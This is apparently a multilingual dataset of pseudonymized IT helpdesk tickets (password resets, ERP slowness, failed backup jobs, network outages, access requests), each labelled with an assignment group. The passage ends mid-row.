EU erp slow down. few locations impacted, at least EU",GRP_0 +backup für rechner lasplant_119\pfjwinbg ljtzbdqg backup für rechner lasplant_119\pfjwinbg ljtzbdqg,GRP_24 +blank call blank call,GRP_0 +log in for erp is out of order log in for erp is out of order,GRP_0 +"pls. help to run out dn against sto#5019358024, 3516494*37pcs,customer need them urgently~ pls. help to run out dn against sto#5019358024, 3516494*37pcs,customer need them urgently~",GRP_6 +EU_tool funktioniert nicht mehr (EU_tool is not working) EU_tool funktioniert nicht mehr,GRP_25 +"*** urgent *** please reactive user id = dudyhuyv12 + +received from: hupnceij.hyozjakb@gmail.com + +hello all, +dudyhuyv12 is not active in password_management_tool, and australia can't access to windows … + +please can you check & do what is necessary. + +thx ! + +[cid:image001.png@01d22b78.8e2efe40] + +sincères salutations, best ",GRP_33 +unable to open eps files unable to open eps files ,GRP_0 +"netpath running from : HostName_1089 is having an issue reaching : portal.microsoftonline.com received solarwind alert 2:38 am on 10/21 et_x000D_ +_x000D_ +netpath running from : HostName_1089 is having an issue reaching : portal.microsoftonline.com_x000D_ +_x000D_ +attached is the screen shot",GRP_4 +"pw reset for erp - user name piltzrnj567 thank you! _x000D_ +_x000D_ +received from: iboltufk.ezfnvcqp@gmail.com_x000D_ +_x000D_ +üdvözlettel / mit freundlichen grüßen / with best ",GRP_0 +"job Job_2063 failed in job_scheduler at: 10/21/2016 02:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063 failed in job_scheduler at: 10/21/2016 02:30:00",GRP_6 +collaboration_platform nicht verfügbar - kein internetzugriff collaboration_platform nicht verfügbar - kein internetzugriff,GRP_0 +"request authorization _x000D_ +_x000D_ +received from: hkruyqfc.aouezihl@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +requesting you to provide me an authorization for the below mentioned programdnty._x000D_ +_x000D_ +[cid:image001.jpg@01d22b8f.406fc470]_x000D_ +_x000D_ +_x000D_ +best ",GRP_2 +"bex error from: wgpimkle kijhcwur [mailto:wgpimkle.kijhcwur@gmail.com] _x000D_ +sent: friday, october 21, 2016 6:27 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:bex error_x000D_ +_x000D_ +help desk_x000D_ +_x000D_ +_x000D_ +i got below error message when i ran rrmx through SID_37._x000D_ +please fix the issue._x000D_ +",GRP_19 +EU_tool funktioniert nicht EU_tool funktioniert nicht,GRP_25 +"job bkwin_search_server_prod_daily failed in job_scheduler at: 83.69.48.194 23:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_search_server_prod_daily failed in job_scheduler at: 83.69.48.194 23:52:00",GRP_8 +"reinecker wzs 60 r 241 abteilung kentip pc fährt nach neustart nicht mehr hoch bzw. bricht während der hochfahrsequenz den bootvorgang ab, bitte überprüfen, danke. ",GRP_33 +"erp is too slow name:zheqafyo bqirpxag +language: +browser:microsoft internet explorer +email:cowsvzel.ryhkefwv@gmail.com +customer number: +telephone: +summary:erp is too slow + + +",GRP_14 +"users from various department are complaining slow response in erp, engineering tool, engineering tool, etc. users from various department are complaining slow response in erp, engineering tool, engineering tool, etc. & unable to work.",GRP_0 +"job Job_3052 failed in job_scheduler at: 83.69.48.194 23:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3052 failed in job_scheduler at: 83.69.48.194 23:31:00",GRP_8 +"circuit outage:usa plant - (company) secondary vpn is down since 11:08 pm on 10/20 et.site up on primary global_telecom_1 what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________11:08 pm on 10/20 et______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __na_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____na____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______na____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc _____na___ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"erp SID_34 system down + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi + +plant_298 encounter erp SID_34 system down, due to this issue we may or may not able to fulfill (local) orders for today it depend on how fast the system will be up. + +i have raise it ticket inc1562584. + +nsdwd mwdddlleh +operation supervisor +company distribution services of asia pte ltd +email : rxoynvgi.ntgdsehl@gmail.com",GRP_14 +unable to check pay slip in hr_tool unable to check pay slip in hr_tool ,GRP_0 +"erp密码忘记 id: fenthgh45 erp password was forgotten + +received from: jmxqhrfa.vawptbfl@gmail.com + +您好，it + + erp密码忘记 id: fenthgh45 erp password was forgotten + + and self-service system password was forgotten, too. + 重置密码网站 的登录密码也忘记了 + even worse, all systems were locked. + 均已经被锁 + do me a fever to unlock them + ",GRP_0 +erp runs very slow in apac agents have to wait minutes for each operation of erp.,GRP_0 +"erp response time is very slow as we found that the erp response time (speed) is very slow this morning, please help chek and fix this issue aerp., ",GRP_0 +"plant_298 erp SID_34 system slow _x000D_ +_x000D_ +received from: rxoynvgi.ntgdsehl@gmail.com_x000D_ +_x000D_ +hi it team_x000D_ +_x000D_ +kindly please assist to check, plant_298 encounter erp SID_34 system slow between 9am to 11:30am daily. ",GRP_0 +"pls. help to check erp due to slow response,thx! pls. help to check erp due to slow response,thx!",GRP_0 +"job bkwin_HostName_770_inc failed in job_scheduler at: 83.69.48.194 22:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 83.69.48.194 22:21:00",GRP_8 +HostName_957 & 662 fence HostName_957 & 662 fence are at 11 instead of 9,GRP_8 +"a termination for hwddwwd wdflefrong, 11175wdnwe363, effective 09/16/2016 has been approved. a termination for hwddwwd wdflefrong, 11175wdnwe363, effective 09/16/2016 has been approved. ",GRP_2 +"job bkwin_HostName_768_inc failed in job_scheduler at: 83.69.48.194 21:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 83.69.48.194 21:39:00",GRP_8 +"terminate action for svfuhlnx aqrzskpg has completed _x000D_ +a termination for svfuhlnx aqrzskpg, 11177614, effective 09/01/2016 has been approved. _x000D_ +",GRP_2 +"old emails _x000D_ +_x000D_ +received from: pojhkxua.frpxtsca@gmail.com_x000D_ +_x000D_ +how do i access my earlier work emails?_x000D_ +dell desktop doesn't pull up mails older than april 2015 !_x000D_ +_x000D_ +",GRP_27 +"job SID_39hotf failed in job_scheduler at: 83.69.48.194 20:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39hotf failed in job_scheduler at: 83.69.48.194 20:50:00",GRP_5 +"job SID_37hotf failed in job_scheduler at: 83.69.48.194 20:47:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 83.69.48.194 20:47:00",GRP_8 +"job SID_38hotf failed in job_scheduler at: 83.69.48.194 20:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38hotf failed in job_scheduler at: 83.69.48.194 20:48:00",GRP_5 +"job Job_564 failed in job_scheduler at: 83.69.48.194 20:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 2 _x000D_ + failed disk agents ........... 0 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 2 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 3 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 4 _x000D_ + =========================================== _x000D_ + mbytes total ................. 601 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 0 _x000D_ +_x000D_ +job Job_564 failed in job_scheduler at: 83.69.48.194 20:01:00",GRP_8 +"job SID_79hot failed in job_scheduler at: 83.69.48.194 19:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[major] from: bma@HostName_1302.hq.company.com ""lib6_drive10"" time: 83.69.48.194 7:56:31 pm_x000D_ +[90:51] /dev/rmt46.1_x000D_ + cannot write to device ([5] i/o error)_x000D_ +_x000D_ +job SID_79hot failed in job_scheduler at: 83.69.48.194 19:57:00",GRP_8 +"job SID_79hot failed in job_scheduler at: 83.69.48.194 19:19:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_79hot failed in job_scheduler at: 83.69.48.194 19:19:00",GRP_5 +windows password reset request windows password reset request,GRP_0 +"job Job_555 failed in job_scheduler at: 83.69.48.194 19:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_555 failed in job_scheduler at: 83.69.48.194 19:11:00",GRP_5 +unable to log in to ethics unable to log in to ethics,GRP_23 +query to send a skype meeting query to send a skype meeting,GRP_0 +unable to connect to home printer unable to connect to home printer,GRP_0 +"folder access required +received from: naruedlk.mpvhakdq@gmail.com + +dear it team, + +please usa read and write access on the following two folders to me (dnqdqld). + + +\\HostName_645\departments\personal + +\\HostName_753\departments\pesonal + +",GRP_12 +ticket update inplant_871302 ticket update inplant_871302,GRP_0 +outlook issue :ms crm dynamics outlook issue :ms crm dynamics,GRP_0 +please usa sasqkjqh lwddkqddq access to printer cl74_ps per lpoebzsc grknswyo please usa sasqkjqh lwddkqddq access to printer cl74_ps per lpoebzsc grknswyo,GRP_0 +password update query password update query ,GRP_0 +vpn query for user vvtdfettc67 vpn query for user vvtdfettc67,GRP_0 +"collaboration_platform - industrial _x000D_ +_x000D_ +received from: okmhzgcq.wzvetbqa@gmail.com_x000D_ +_x000D_ +good afternoon –_x000D_ +can you please add a new library heading ( talent review) to the library area. can you also remove kristina cope as the owner of this portion of this page. please use myself, mtdyuhki fdnrxaci and ifblxjmc dyrgfwbm to this page._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d22ae8.0c3cb4d0]_x000D_ +_x000D_ +",GRP_16 +"job SID_37hotf failed in job_scheduler at: 83.69.48.194 15:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 83.69.48.194 15:02:00",GRP_5 +erp station in castings is not working. erp station in castings is not working.,GRP_3 +dalmdwppi56 pc in castings is not working. dalmdwppi56 pc in castings is not working.,GRP_3 +no boot no boot,GRP_0 +"my outlook doesn´t work. in last fourth weeks i have same problem. i start outlook. outlook is opening but it doesn´t open. it was 3 times fixed by our it service technician but it help always for one week and than it appeares again. please help me to fix it. +my phone number is . i will be at home tomorrow afternoon from 15:30. +",GRP_0 +erp SID_34 : account lock out erp SID_34 : account lock out ,GRP_0 +"not able to get a delivery to create for 5019322902, mm# 7275831 i believe apo is out of synch and cif programdnty may need to be run. the sto was created 10/07/2016. inventory received at 1:18 this afternoon. next bop job is not scheduled until after 6 pm. this sto needs to ship before then. ",GRP_45 +ticket update on inplant_871350 ticket update on inplant_871350,GRP_0 +quoting engine: error quoting engine: error ,GRP_14 +"password reset 413475046745 +reset outlook password for theecanse wdleell (his windows logon password is different since he doesn't log on to +company)",GRP_0 +"guest internet access. + +received from: etnroabk.jkvshlfm@gmail.com + +i am having trouble with getting internet guest access for the person below. + +skads wdlmdwwck +technician engineering - usa plant +etnroabk.jkvshlfm@gmail.com + + + + + + +",GRP_0 +"files on servers not available. files cannot be opened.HostName_1326 details provided when trying to open a file only states ""the file is corrupt and cannot be opened."" multiple files noticed since wednesday, october 19, 2016, at plant_3 have become unavailable. confirmation of unavailable files from different departments. no e-mail of notice regarding any possible server changes.",GRP_12 +"modem in the idg area is down at the usa plant contact # : +summary:modem in the idg area is down at the usa plant",GRP_4 +interface 'serial0/0/0 and serial0/1/1:0 · connection to usa plant is down since 12:45 pm et on 10/20. interface 'serial0/0/0 and serial0/1/1:0 · connection to usa plant is down since 12:45 pm et on 10/20.,GRP_8 +ad account locked out ad account locked out ,GRP_0 +"multiple location across europe went down at 11:50am et on 10/20, please find the attached. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___11:50am et on 10/20___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___yes____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"citrix access. + +received from: lenxvcbq.vwnhjtoi@gmail.com + +i am getting a certificate error trying to access hfyujqti jdcbiezxs. see attached. + + + +hddwdw lwdwdwdr +lenxvcbq.vwnhjtoi@gmail.com< +",GRP_12 +erp SID_34 password reset request erp SID_34 password reset request ,GRP_0 +symantec pop query : ran quick scan and deleted cookies. symantec pop query : ran quick scan and deleted cookies.,GRP_3 +"access to http:://bddjwwwdw/ for axcbfuqo yiagubvh axcbfuqo yiagubvh no longer has access to http:://bddjwwwdw/. he needs access. +please see the attached email from gilles. + +good morning, +there is a very long time that i did not contacted the team and you….. +i am in india for 2 weeks and work with the team using the new equipment. +i need your help because i am not anymore able to be connected to: + application where i was able to make a consultation. +i received this following message. +can you help to have this connection working again? +i have also the competitive databse but this is still working well. +",GRP_25 +unable to connect to outlook unable to connect to outlook ,GRP_0 +"error with customization (engineering tool) - erp plam and company tools hi team, + +i need your help with two error the customization the (engineering tool). the two errors attachment in ticket. + +erro computer: lpawty8515404 - diwhdd jwddkwor and lpawty8515494 - gsotqxfi lidunfjg + + + +if you have more doubts please contatc me. + +",GRP_46 +"job Job_3051 failed in job_scheduler at: 83.69.48.194 12:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3051 failed in job_scheduler at: 83.69.48.194 12:38:00",GRP_8 +"mobile device activation : company owned +summary:need phone to connect to outlook",GRP_0 +"outlook outage + +received from: dxwuovgs.lmuxizht@gmail.com + +hello, + +is outlook down? i can't seem to connect on laptop remotely. + +please advise. + +sent from my iphone + +dxwuovgs lmuxizht +sr. sales engineer +dxwuovgs.lmuxizht@gmail.com + +",GRP_0 +"urgent - please create tax code a0 in cc54yks09. please create tax code a0 in cc54yks09.this is really urgent, as we have to post vat inwarehouse_tool by the end of the week. + +background: +there was an export of goods from this location to germany (from plant_212 to plant_105). +delivery 9041183500, sto - 5019291372, vat inwarehouse_tool 0461363360 – is not posted in finance. +",GRP_10 +"crm access issue hi, poland cannot log into crm. all users in poland",GRP_0 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 83.69.48.194 11:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 83.69.48.194 11:54:00",GRP_8 +"email license i need to check on email license for production leads. + +28246727 dwwkd wdjwd usa wdnwk +28228474 wdwmd wdkfww usa whwdiuw +27144424 wdnwwl kwfwdw usa wdkwdwd",GRP_0 +can not sign into crm or single sign on portal on the hub. can not sign into crm or single sign on portal on the hub. it states my password is not correct. this is the password i use for all other access points in company.,GRP_0 +password reset password reset,GRP_0 +"calibration system printer printer dymo labelwriter 450 turbo is not working, can't print calibration label for our gages.",GRP_0 +unable to change password unable to change password,GRP_0 +"not able to login to sso : one team : it never worked not able to login to sso : one team : it never worked _x000D_ +refer ticket : ticket_no0446943",GRP_0 +"job SID_37hotf failed in job_scheduler at: 83.69.48.194 10:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 83.69.48.194 10:54:00",GRP_8 +"pc rqxw8515267 setup for remote company use cannot be logged in to, it appears the domain membership is broken. pc rqxw8515267 setup for remote company use cannot be logged in to, it appears the domain membership is broken.",GRP_3 +bdwdwarbara needs the permissions to save to the folder (srvlavstorage01)( j):toolroom/tooling documentation bdwdwarbara needs the permissions to save to the folder (srvlavstorage01)( j):toolroom/tooling documentation ,GRP_12 +"needs access to server \\HostName_852\drafting\itar to the user-wdwddw wwdyuan(yqddquanw), read only access the name of the employee who needs access is wdwddw wwdyuan(yqddquanw), employee number 2807162637 +the file is located on our operations drive (v drive)then sub file drafting, then sub file itar. this was set up by our own it guy before he was laid off",GRP_12 +need access to ess need access to ess,GRP_2 +engineering_tool installation engineering_tool installation,GRP_0 +EU_tool for plant plant_197 is working very slowly. please help here immediately. thanks EU_tool for plant plant_197 is working very slowly. please help here immediately. ,GRP_25 +crm issue : ms ouutlook issue crm issue : ms outlook issue ,GRP_0 +"user needs help to login to the mii. user needs help to login to the mii._x000D_ +",GRP_0 +"EU_tool, pdv, batch management does not work working with the systems is almost impossible. the processing of orders is no longer possible at the moment _x000D_ +das arbeiten mit den systemen ist fast nicht möglich. das abarbeiten von aufträgen ist zur zeit nicht mehr möglich",GRP_25 +"xvwchsdg pladjmxt - employee termination pn gehe einmal davon aus das herr aurwddwacher zum ende oktober das unternehmen verlässt bzw. in ruhestand/rente geht. + +im prozess der löschung des accounts (ticketing_tool – vorlage employee status termination) kann unter „special instuctrion"" eine sogenannte delegation angegeben werden. + +somit erhält derjenige dem die postfach delegiert wurde zugriff für einen bestimmten zeitraum. + +die vorlage wird normalerweise vom vorgesetzten / bzw. zuständigen hr-abteilung ausgefüllt und sollte mit beiden abgesprochen werden. +",GRP_33 +"please reset my SID_34 password + +received from: azxhejvq.fyemlavd@gmail.com + +userid waldjrrm667 +",GRP_0 +"user needs help to login to the collaboration_platform site. user needs help to login to the collaboration_platform site._x000D_ +-provided the user the email id and password after verifying the user details._x000D_ +-advised the user to try and login to the collaboration_platform._x000D_ +-user confirmed he is now able to login to the collaboration_platform._x000D_ +-issue resolved.",GRP_0 +account lockout account lockout,GRP_0 +outlook table view incorrect outlook table view incorrect,GRP_0 +"computer problem _x000D_ +_x000D_ +received from: uskydftv.sgwbfkjz@gmail.com_x000D_ +_x000D_ +dear, i was not able to go on internet since this morning. an itbof germany was not able to log in. we have tried so much that the pasword is locked. i have the message: your password has expired and must be changed. please forward me the new password. ",GRP_0 +"design pane not showing up in ""analysis for ms excel"" hello,_x000D_ +_x000D_ +when i use analysis for ms excel now, i can't see the design pane even when option is turned on (refer to screenshot). i was able to see design pane earlier without problem. the only major change on my pc is recently i upgraded to office 2016 suite. can you please help bring my design pane back? ",GRP_0 +browser issue : flash player and addins issue browser issue : flash player and addins issue,GRP_0 +"not able to do pgi del. 9169653789- customer vale - co account assignments have different profit centers not able to do pgi for delivery 9169653789- customer 81936871 - vale -td order 35038980 . _x000D_ +itens 3546297-3 pieces /3546296-3 pieces/7150128-4 pieces/7150129-4 pieces . _x000D_ +urgente uacyltoe hxgaycze for customer _x000D_ +_x000D_ +error - _x000D_ +co account assignments have different profit centers_x000D_ +message no. bk134_x000D_ +_x000D_ +diagnosis_x000D_ +you entered multiple co account assignments objects assigned to different profit centers. in a document item, however, all co account assignments objects with profit center assignments must be assigned to the same profit center._x000D_ +_x000D_ +procedure_x000D_ +if the message is an error message, check and change the co account assignments objects so that all objects with profit center assignments are assigned to the same profit center._x000D_ +_x000D_ +in customizing, you can change this message from an error message to a warning message, a notification, or you can deactivate it completely. to do so, see the implementation guide (img) step under ""controlling: general -> change message control"" (message class bk, message 134)._x000D_ +",GRP_44 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"bex analyzer report not working i open bex analyzer and connect to SID_37_x000D_ +i try to open report [xhlg_pmm_atm] product management - master at m_x000D_ +the window to ""select values for variables"" appears, no available variants, data provider 1 is set to 1 for finance._x000D_ +i click ok, the system sits and does nothing. eventually i get a ""microsoft excel not responding"" error._x000D_ +_x000D_ +is there something wrong with the system? is there something wrong with my settings?_x000D_ +_x000D_ +i need to pull reports for an external auditor so it is rather urgent that i get this fixed quickly._x000D_ +_x000D_ +",GRP_0 +cannot print on usa printer prtqx4580 any longer. please fix. cannot print on usa printer prtqx4580 any longer. please fix.,GRP_3 +unable to print from the printer qc0567 unable to print from the printer qc0567,GRP_0 +i need to have k-rckf grind added to my microsoft email. no one has helped me with this. i am not sure why this was closed out when i had received no help?,GRP_0 +"user unable to connect at the companysecure at office. user unable to connect at the companysecure at office. +-checked the network connection settings. +-enabled the network connections. +-updated the network drivers . +-updated the bios on the pc. +-restarted the pc. +-user iformed he is ina meeting and will call tomorrow. + +",GRP_0 +"barcode über word etikettendruck ich will im etikettendruck eine zahlen buchstaben drucken als barcode über word etikettendruck +mit der schriftart coSID_4428 geht dies nicht das ich es mit einer scanpistole lesen kann + +phone: ",GRP_42 +"job SID_37hotf failed in job_scheduler at: 83.69.48.194 07:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 83.69.48.194 07:43:00",GRP_5 +"folder access required + +received from: naruedlk.mpvhakdq@gmail.com + +dear it team, + +please usa read and write access on the following two folders to me (webr3gers45). + + +\\HostName_645\departments\personal + +\\HostName_753\departments\pesonal + +",GRP_34 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"job Job_1309 failed in job_scheduler at: 83.69.48.194 07:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1309 failed in job_scheduler at: 83.69.48.194 07:16:00",GRP_9 +bitte user gogtyektdgwo richtig einstellen .nach anmeldung fehlen alle netzlaufwerke bitte user gogtyektdgwo richtig einstellen .nach anmeldung fehlen alle netzlaufwerke,GRP_12 +called in to get in touch with ecwtrjnq jpecxuty called in to get in touch with ecwtrjnq jpecxuty,GRP_0 +vip1: account unlock vip1: account unlock,GRP_0 +support für roboworker \sandstrahlen \xwirzvda okhyipgr support für roboworker \sandstrahlen \xwirzvda okhyipgr,GRP_24 +setup new ws \lndypaqg dhqwtcsr setup new ws \lndypaqg dhqwtcsr,GRP_24 +ticket update for-ticket_no0447000 ticket update for-ticket_no0447000,GRP_0 +circuit outage:india -admin-4503-core-sw01 is down.at 6:27 am et on 10/20. circuit outage:india -admin-4503-core-sw01 is down.at 6:27 am et on 10/20.,GRP_8 +"circuit outage: company-ap-ind-telecom_vendor_1-dmvpn-2921-rtr01 is down since 83.69.48.194 6:26 am et. site is up telecom_vendor_3. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____ 83.69.48.194 6:26 am et_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"telefon im ""meeting room 3"" telefonnummer 263 in germany funktioniert der klingelton nicht. wenn jemand von außerhalb anruft dann klingelt das telefon nicht. bitte mal nachschauen, danke.",GRP_33 +unable to launch outlook unable to launch outlook,GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): pm!_x000D_ +_x000D_ +enter user id of user having the issue: mathes_x000D_ +_x000D_ +transaction code(s) the user needs or was working with:_x000D_ +_x000D_ +describe the issue: please reset the password. if required, please unlock the id._x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"erp account locked _x000D_ +_x000D_ +received from: uexodhqa.txqoifsl@gmail.com_x000D_ +_x000D_ +dear team,_x000D_ +_x000D_ +my erp account got locked because of wrong password attempt._x000D_ +_x000D_ +please support to get unlock the same._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"job Job_593 failed in job_scheduler at: 83.69.48.194 05:42:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 83.69.48.194 05:42:00",GRP_8 +"erp printing - !production order! printer mp7456 replacement production order printer mp7456 is being replaced. + +- remove rerouting from mp7456 to mp82 on erp systems +------------------------------------------------------------------------------------------------------------------------- +printer replacement + +*you will need to have power / network connectivity and the printer installed - ready before a ticketing_tool ticket can be opened. do you have all 3 requirements above satisfied? (yes / no)? yes + +*replacing erp printer name (e.g. hq01, id02, wy61)? mp7456 ( name stays the same) + +*ip address s if known? 10.16.77.214 (ip stays the same) + +*make/model of the replacement erp printer? hp laserjet 500 m575f + +*what erp printer do you currently use (e.g. hq01, id02, wy61)? - + +*list the erp system the printer needs to be defined? erp (SID_1,SID_21,SID_34, SID_37, SID_39, SID_38, hrp, plm etc…)? hrp,SID_34, plm (same as old mp7456) + +*what is currently printed on these printers from erp (e.g. inwarehouse_tools, delivery notes etc..)? same as old mp7456 + +*location of install: country / city / building / floor / cubicle? same as old mp7456 + +*local it site contact name? xvwchsdg pladjmxt + +optional: printer serial number / printer mac address? serial: cnctf6418t + +",GRP_5 +HostName_1030 is currently experiencing high cpu utilization. please investigate! HostName_1030 is currently experiencing high cpu utilization. please investigate!,GRP_12 +hedjdbwlmut.nwwiebler called regarding a folder access query hedjdbwlmut.nwwiebler called regarding a folder access query,GRP_0 +"folder read and write access needed _x000D_ +_x000D_ +received from: unzfipac.opwzmlbc@gmail.com_x000D_ +_x000D_ +dear colleagues,_x000D_ +_x000D_ +please usa access to this path for me for read and write access:_x000D_ +_x000D_ +t:\corpbusinessdev\monthly financial review_x000D_ +_x000D_ +",GRP_34 +"activation of outlook email access on iphone 7 device for awddmwdol mwddwansuke + +received from: kbclinop.vsczklfp@gmail.com + +hi, +please usa email access on new iphone 7 device for our indirect channel manager, information as follow : + +email: ecxwnmqi.pztiqjuh@gmail.com +manager's name : sqqqd zlkmlwdwdade & nidqknwjktin dewkiodshpande + +is this device company owned? yes + +is this a replacement of your old device? yes, as the existing old samsung phone is faulty. + +",GRP_0 +"access issue to ess + +received from: ihkolepb.ozhnjyef@gmail.com + +hello, + +one of the temperory workmen-nxcfastp xnwtyebg whose user id is vvandwkjis is not able to login to ess as his user id locked. he is a kiosk user. please re-set his password and confirm. + + + +",GRP_0 +probleme mit barcode etiketten \volume format zu groß \vzqomdgt jwoqbuml obleme mit barcode etiketten \volume format zu groß \vzqomdgt jwoqbuml,GRP_24 +setup new ws in br \usalikfj lfmpxbcn setup new ws in br \usalikfj lfmpxbcn,GRP_24 +"der monitor an unser längenmessmaschine ist defekt . guten morgen hkydrfdw, + +der monitor an unser längenmessmaschine ist defekt. +bitte kurzfristig einen ersatzmonitor bereitstellen. +danke +",GRP_24 +fregabe für ordner applications wurde gekappt??? bitte wieder freigeben,GRP_0 +reinstall eagl9111361 from scratch - device chrashes when entering stand by mode reinstall eagl9111361 from scratch - device chrashes when entering stand by mode,GRP_28 +"restore + +received from: trgqbeax.hfyzudql@gmail.com + +please restore the complete file + +HostName_598/hr_fd/mitarbeiter/azubis/… + +including all files under azubis + + +danke + viele grüße +trgqbeax hfyzudql +",GRP_12 +"job Job_1378 failed in job_scheduler at: 83.69.48.194 04:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1378 failed in job_scheduler at: 83.69.48.194 04:28:00",GRP_9 +"printer not working. _x000D_ +_x000D_ +received from: yhmzxcia.heszapvl@gmail.com_x000D_ +_x000D_ +hi it,_x000D_ +_x000D_ +please help to resolve our sg004 printer problem. the printer is fine after printer technician check, it is to do with our cable and server ports in the server room._x000D_ +_x000D_ +we admin have no knowledge and capability to handle that. please have someone to help aerp._x000D_ +_x000D_ +_x000D_ +best ",GRP_19 +"EU_tool, pls and wqw are working very slow. EU_tool, pls and wqw are working very slow.",GRP_25 +"schreibrechte für ksdvp3, 